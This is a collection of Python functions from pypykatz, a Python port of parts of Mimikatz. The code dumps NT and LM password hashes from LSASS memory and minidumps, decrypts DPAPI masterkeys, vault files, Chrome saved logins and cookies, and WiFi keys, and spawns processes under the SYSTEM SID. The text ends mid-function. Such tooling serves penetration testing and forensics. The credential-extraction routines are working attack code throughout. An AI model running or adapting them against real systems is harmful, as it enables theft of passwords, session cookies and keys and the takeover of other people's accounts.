def add_primary_credentials(self, primary_credentials_entry): encrypted_credential_data = primary_credentials_entry.encrypted_credentials.read_data( self.reader) #this is super-strange but sometimes the encrypted data can be empty (seen in forensics images) if not encrypted_credential_data: return self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data)) self.log('Decrypting credential structure') dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected=True) self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data))) struct_reader = GenericReader(dec_data, self.sysinfo.architecture) if len(dec_data ) == MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.size and dec_data[ 4:8] == b'\xcc\xcc\xcc\xcc': creds_struct = MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC(struct_reader) else: creds_struct = self.decryptor_template.decrypted_credential_struct( struct_reader) cred = MsvCredential() if creds_struct.UserName: try: cred.username = creds_struct.UserName.read_string( struct_reader) except Exception as e: self.log('Failed to get username, reason : %s' % str(e)) if creds_struct.LogonDomainName: try: cred.domainname = creds_struct.LogonDomainName.read_string( struct_reader) except Exception as e: self.log('Failed to get domainname, reason : %s' % str(e)) cred.NThash = creds_struct.NtOwfPassword if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00' * 16: cred.LMHash = creds_struct.LmOwfPassword cred.SHAHash = creds_struct.ShaOwPassword self.current_logonsession.msv_creds.append(cred)
def log_ptr(self, ptr, name, datasize=None): """ Reads datasize bytes from the memory region pointed by the pointer. ptr = the pointer to be read name = display name for the memory structure, usually the data structure's name the pointer is pointing at """ level = self.logger.get_level() if level > 6 or level == 0: return if not datasize: if level == 5: datasize = 0x10 if level == 4: datasize = 0x20 if level == 3: datasize = 0x50 if level == 2: datasize = 0x100 if level == 1: datasize = 0x200 pos = self.reader.tell() try: self.reader.move(ptr) data = self.reader.peek(datasize) self.reader.move(pos) self.log('%s: %s\n%s' % (name, hex(ptr), hexdump(data, start=ptr))) except Exception as e: self.log('%s: Logging failed for position %s' % (name, hex(ptr)))
async def get_IV(self, pos): self.log('Reading IV') #print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr)) ptr_iv = await self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr) self.log('IV pointer takes us to 0x%08x' % ptr_iv) await self.reader.move(ptr_iv) data = await self.reader.read(self.decryptor_template.key_pattern.IV_length) self.log('IV data: %s' % hexdump(data)) return data
async def acquire_crypto_material(self): self.log('Acquireing crypto stuff...') sigpos = await self.find_signature() await self.reader.move(sigpos) data = await self.reader.peek(0x50) self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) self.iv = await self.get_IV(sigpos) self.des_key = await self.get_des_key(sigpos) self.aes_key = await self.get_aes_key(sigpos)
async def get_key(self, pos, key_offset): ptr_key = await self.reader.get_ptr_with_offset(pos + key_offset) self.log('key handle pointer is @ 0x%08x' % ptr_key) ptr_key = await self.reader.get_ptr(ptr_key) self.log('key handle is @ 0x%08x' % ptr_key) await self.reader.move(ptr_key) data = await self.reader.peek(0x50) self.log('BCRYPT_HANLE_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) kbhk = await self.decryptor_template.key_handle_struct.load(self.reader) if kbhk.verify(): ptr_key = kbhk.ptr_key.value await self.reader.move(ptr_key) data = await self.reader.peek(0x50) self.log('BCRYPT_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) kbk = await kbhk.ptr_key.read(self.reader, self.decryptor_template.key_struct) self.log('HARD_KEY SIZE: 0x%x' % kbk.size) if kbk.verify(): self.log('HARD_KEY data:\n%s' % hexdump(kbk.hardkey.data)) return kbk.hardkey.data
def get_IV(self, pos): self.log('Reading IV') #### TEST!!!! #if hasattr(self.sysinfo, 'IV_OFFSET'): # ptr_iv = self.reader.get_ptr_with_offset(pos + self.sysinfo.IV_OFFSET) # self.reader.move(ptr_iv) # data = self.reader.read(self.decryptor_template.key_pattern.IV_length) # self.log('IV data: %s' % hexdump(data)) # return data ptr_iv = self.reader.get_ptr_with_offset( pos + self.decryptor_template.key_pattern.offset_to_IV_ptr) #self.log('IV pointer takes us to 0x%08x' % ptr_iv) self.reader.move(ptr_iv) data = self.reader.read(self.decryptor_template.key_pattern.IV_length) self.log('IV data: %s' % hexdump(data)) return data
def run_live(self, args): if platform.system().lower() != 'windows': raise Exception('Live commands only work on Windows!') if args.livedpapicommand == 'tcap': from pypykatz.dpapi.extras import dpapi_trustedcredman rawdata, creds, err = dpapi_trustedcredman(args.targetpid, args.source, args.tempfile) if err is not None: print(err) return if args.outfile is not None: with open(args.outfile, 'w') as f: for cred in creds: f.write(cred.to_text() + '\r\n') else: for cred in creds: print(cred.to_text()) return from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI(use_winapi=True) if args.livedpapicommand == 'keys': from pypykatz.dpapi.dpapi import prepare_dpapi_live dpapi = prepare_dpapi_live(args.method) if args.outfile is not None: dpapi.dump_pre_keys(args.outfile + '_prekeys') dpapi.dump_masterkeys(args.outfile + '_masterkeys') else: dpapi.dump_pre_keys() dpapi.dump_masterkeys() return elif args.livedpapicommand == 'cred': cred_blob = dpapi.decrypt_credential_file(args.credfile) print(cred_blob.to_text()) elif args.livedpapicommand == 'vpol': key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.livedpapicommand == 'vcred': key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) res = dpapi.decrypt_vcrd_file(args.vcredfile) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.livedpapicommand == 'securestring': dec_sec = dpapi.decrypt_securestring_hex(args.securestring) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.livedpapicommand == 'securestringfile': data = args.data[0] dec_sec = dpapi.decrypt_securestring_file(data) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.livedpapicommand == 'blob': dec_sec = dpapi.decrypt_securestring_hex(args.blob) print('HEX: %s' % dec_sec.hex()) elif args.livedpapicommand == 'blobfile': dec_sec = dpapi.decrypt_securestring_file(args.blobfile) print('HEX: %s' % dec_sec.hex()) elif args.livedpapicommand == 'chrome': res = dpapi.decrypt_all_chrome_live() for file_path, url, user, password in res['logins']: print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) for file_path, host_key, name, path, value in res['cookies']: print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value)) elif args.livedpapicommand == 'wifi': for wificonfig in dpapi.decrypt_wifi_live(): print('%s : %s' % (wificonfig['name'], wificonfig['key']))
def run(self, args): from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() if args.dapi_module == 'prekey': if args.prekey_command == 'registry': if args.system is None: raise Exception( 'SYSTEM hive must be specified for registry parsing!') if args.sam is None and args.security is None: raise Exception( 'Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) elif args.prekey_command == 'password': if args.sid is None: raise Exception( 'SID must be specified for generating prekey in this mode' ) pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, password=pw) elif args.prekey_command == 'nt': if args.nthash is None or args.sid is None: raise Exception( 'NT hash and SID must be specified for generating prekey in this mode' ) dpapi.get_prekeys_from_password(args.sid, nt_hash=args.nthash) dpapi.dump_pre_keys(args.out_file) elif args.dapi_module == 'minidump': if args.minidumpfile is None: raise Exception( 'minidump file must be specified for mindiump parsing!') dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) dpapi.dump_masterkeys(args.out_file) if args.out_file is not None: dpapi.dump_pre_keys(args.out_file + '_prekeys') else: dpapi.dump_pre_keys() elif args.dapi_module == 'masterkey': if args.prekey is None: raise Exception( 'Etieher KEY or path to prekey file must be supplied!') dpapi.load_prekeys(args.prekey) dpapi.decrypt_masterkey_file(args.masterkeyfile) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'credential': dpapi.load_masterkeys(args.mkf) cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) elif args.dapi_module == 'vpol': dpapi.load_masterkeys(args.mkf) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.dapi_module == 'vcred': if args.vpolkey is None or len(args.vpolkey) == 0: raise Exception('VPOL key bust be specified!') dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey] res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.dapi_module == 'securestring': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.securestring) except Exception as e: print('Error! %s' % e) dec_sec = dpapi.decrypt_securestring_file(args.securestring) else: dec_sec = dpapi.decrypt_securestring_hex(args.securestring) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.dapi_module == 'blob': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.blob) except Exception as e: print('Error! %s' % e) dec_sec = dpapi.decrypt_securestring_file(args.blob) else: dec_sec = dpapi.decrypt_securestring_hex(args.blob) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.dapi_module == 'chrome': dpapi.load_masterkeys(args.mkf) db_paths = {} db_paths['pypykatz'] = {} db_paths['pypykatz']['localstate'] = args.localstate if args.cookies is not None: db_paths['pypykatz']['cookies'] = args.cookies if args.logindata is not None: db_paths['pypykatz']['logindata'] = args.logindata res = dpapi.decrypt_all_chrome(db_paths, throw=False) for file_path, url, user, password in res['logins']: print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) for file_path, host_key, name, path, value in res['cookies']: print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value)) elif args.dapi_module == 'wifi': dpapi.load_masterkeys(args.mkf) wificonfig_enc = DPAPI.parse_wifi_config_file(args.wifixml) wificonfig = dpapi.decrypt_wifi_config_file_inner(wificonfig_enc) print('%s : %s' % (wificonfig['name'], wificonfig['key']))
def __str__(self): return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % ( self.history, self.service, self.username) + '\r\n' + hexdump( self.secret)
def __str__(self): return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump( self.raw_secret)
def main(): import argparse import glob from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper from pypykatz.ldap.cmdhelper import LDAPCMDHelper from pypykatz.kerberos.cmdhelper import KerberosCMDHelper from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper from pypykatz.registry.cmdhelper import RegistryCMDHelper cmdhelpers = [ CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), LSACMDHelper(), RegistryCMDHelper() ] parser = argparse.ArgumentParser( description= 'Pure Python implementation of Mimikatz --or at least some parts of it--' ) parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers(help='module') live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser( 'process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument( '-i', '--interactive', action='store_true', help='Spawns a new interactive process') live_subparser_process_group.add_argument( '--sid', help='Impersonate given SID in new process') live_subparser_process_group.add_argument( '-c', '--cmdline', help='The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser( 'token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument( '-f', '--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser( 'users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami']) live_subparser_dpapi_group = live_subparsers.add_parser( 'dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help='Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help='VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help='VCRED file') live_subparser_dpapi_group.add_argument('--cred', help='credential file') live_subparser_dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group = subparsers.add_parser( 'dpapi', help='DPAPI (offline) related commands') dpapi_group.add_argument('cmd', choices=['masterkey', 'credential', 'vault']) dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help= 'Getting prekeys from registry hive files. Using this you will need to also supply system, security and optionally sam switches' ) dpapi_group.add_argument('--system', help='Path to SYSTEM hive file') dpapi_group.add_argument('--sam', help='Path to SAM hive file') dpapi_group.add_argument('--security', help='Path to SECURITY hive file') dpapi_group.add_argument('--vcred', help='VCRED file') dpapi_group.add_argument('--cred', help='credential file') dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group.add_argument( '--key', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--sid', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--password', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) sake_group = subparsers.add_parser('sake', help='sake') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid=sid, cmdline=cmdline, interactive=args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception( 'Live registry method requires masterkeyfile to be set!' ) dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception( 'for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI if args.key is not None: key = bytes.fromhex(args.key) dpapi = DPAPI() if args.cmd == 'masterkey': if args.mkf is None: raise Exception('You need to provide a masterkey file.') if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf) elif args.key is not None: dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf) else: raise Exception( 'For masterkey decryption you must provide either registry hives OR key data OR SID and password' ) for guid in dpapi.masterkeys: print('GUID %s MASTERKEY %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt the masterkeyfile!') elif args.cmd == 'credential': if args.key is not None: cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) elif args.cmd == 'vault': if args.vpol is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vcred is not None: res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) if args.vcred is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vpol is None: raise Exception( 'VCRED decryption requires a key OR a VPOL file') ###### Sake elif args.command == 'sake': from pypykatz.utils.sake.sake import Sake s = Sake() print(s.draw())
def main(): import argparse import glob parser = argparse.ArgumentParser( description= 'Pure Python implementation of Mimikatz --or at least some parts of it--' ) parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--json', action='store_true', help='Print credentials in JSON format') parser.add_argument('-e', '--halt-on-error', action='store_true', help='Stops parsing when a file cannot be parsed') parser.add_argument( '-o', '--outfile', help= 'Save results to file (you can specify --json for json file, or text format will be written)' ) parser.add_argument('-k', '--kerberos-dir', help='Save kerberos tickets to a directory.') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' minidump_group = subparsers.add_parser( 'minidump', help='Get secrets from LSASS minidump file') minidump_group.add_argument( 'minidumpfile', help='path to the minidump file or a folder (if -r is set)') minidump_group.add_argument('-r', '--recursive', action='store_true', help='Recursive parsing') minidump_group.add_argument('-d', '--directory', action='store_true', help='Parse all dump files in a folder') live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers(help='module') live_subparsers.required = True live_subparsers.dest = 'module' live_subparser_lsa_group = live_subparsers.add_parser( 'lsa', help='Get all secrets from LSASS') live_subparser_registry_group = live_subparsers.add_parser( 'registry', help='Get all secrets from registry') live_subparser_process_group = live_subparsers.add_parser( 'process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument( '-i', '--interactive', action='store_true', help='Spawns a new interactive process') live_subparser_process_group.add_argument( '--sid', help='Impersonate given SID in new process') live_subparser_process_group.add_argument( '-c', '--cmdline', help='The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser( 'token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument( '-f', '--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser( 'users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami']) live_subparser_dpapi_group = live_subparsers.add_parser( 'dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help='Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help='VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help='VCRED file') live_subparser_dpapi_group.add_argument('--cred', help='credential file') live_subparser_dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group = subparsers.add_parser( 'dpapi', help='DPAPI (offline) related commands') dpapi_group.add_argument('cmd', choices=['masterkey', 'credential', 'vault']) dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help= 'Getting prekeys from registry hive files. Using this you will need to also supply system, security and optionally sam switches' ) dpapi_group.add_argument('--system', help='Path to SYSTEM hive file') dpapi_group.add_argument('--sam', help='Path to SAM hive file') dpapi_group.add_argument('--security', help='Path to SECURITY hive file') dpapi_group.add_argument('--vcred', help='VCRED file') dpapi_group.add_argument('--cred', help='credential file') dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group.add_argument( '--key', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--sid', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--password', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) rekall_group = subparsers.add_parser('rekall', help='Get secrets from memory dump') rekall_group.add_argument('memoryfile', help='path to the memory dump file') rekall_group.add_argument( '-t', '--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)') registry_group = subparsers.add_parser( 'registry', help='Get secrets from registry files') registry_group.add_argument('system', help='path to the SYSTEM registry hive') registry_group.add_argument('--sam', help='path to the SAM registry hive') registry_group.add_argument('--security', help='path to the SECURITY registry hive') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] ###### Live if args.command == 'live': if args.module == 'lsa': filename = 'live' try: mimi = pypykatz.go_live() results['live'] = mimi except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print( 'Exception while dumping LSA credentials from memory.') traceback.print_exc() pass elif args.module == 'registry': from pypykatz.registry.live_parser import LiveRegistry lr = None try: lr = LiveRegistry.go_live() except Exception as e: logging.debug( 'Failed to obtain registry secrets via direct registry reading method' ) try: lr = OffineRegistry.from_live_system() except Exception as e: logging.debug( 'Failed to obtain registry secrets via filedump method' ) if lr is not None: if args.outfile: lr.to_file(args.outfile, args.json) else: print(str(lr)) else: print('Registry parsing failed!') elif args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid=sid, cmdline=cmdline, interactive=args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception( 'Live registry method requires masterkeyfile to be set!' ) dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception( 'for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI if args.key is not None: key = bytes.fromhex(args.key) dpapi = DPAPI() if args.cmd == 'masterkey': if args.mkf is None: raise Exception('You need to provide a masterkey file.') if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf) elif args.key is not None: dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf) else: raise Exception( 'For masterkey decryption you must provide either registry hives OR key data OR SID and password' ) for guid in dpapi.masterkeys: print('GUID %s MASTERKEY %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt the masterkeyfile!') elif args.cmd == 'credential': if args.key is not None: cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) elif args.cmd == 'vault': if args.vpol is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vcred is not None: res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) if args.vcred is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vpol is None: raise Exception( 'VCRED decryption requires a key OR a VPOL file') ###### Rekall elif args.command == 'rekall': mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override) results['rekall'] = mimi ###### Minidump elif args.command == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.minidumpfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.minidumpfile) try: mimi = pypykatz.parse_minidump_file(args.minidumpfile) results[args.minidumpfile] = mimi except Exception as e: 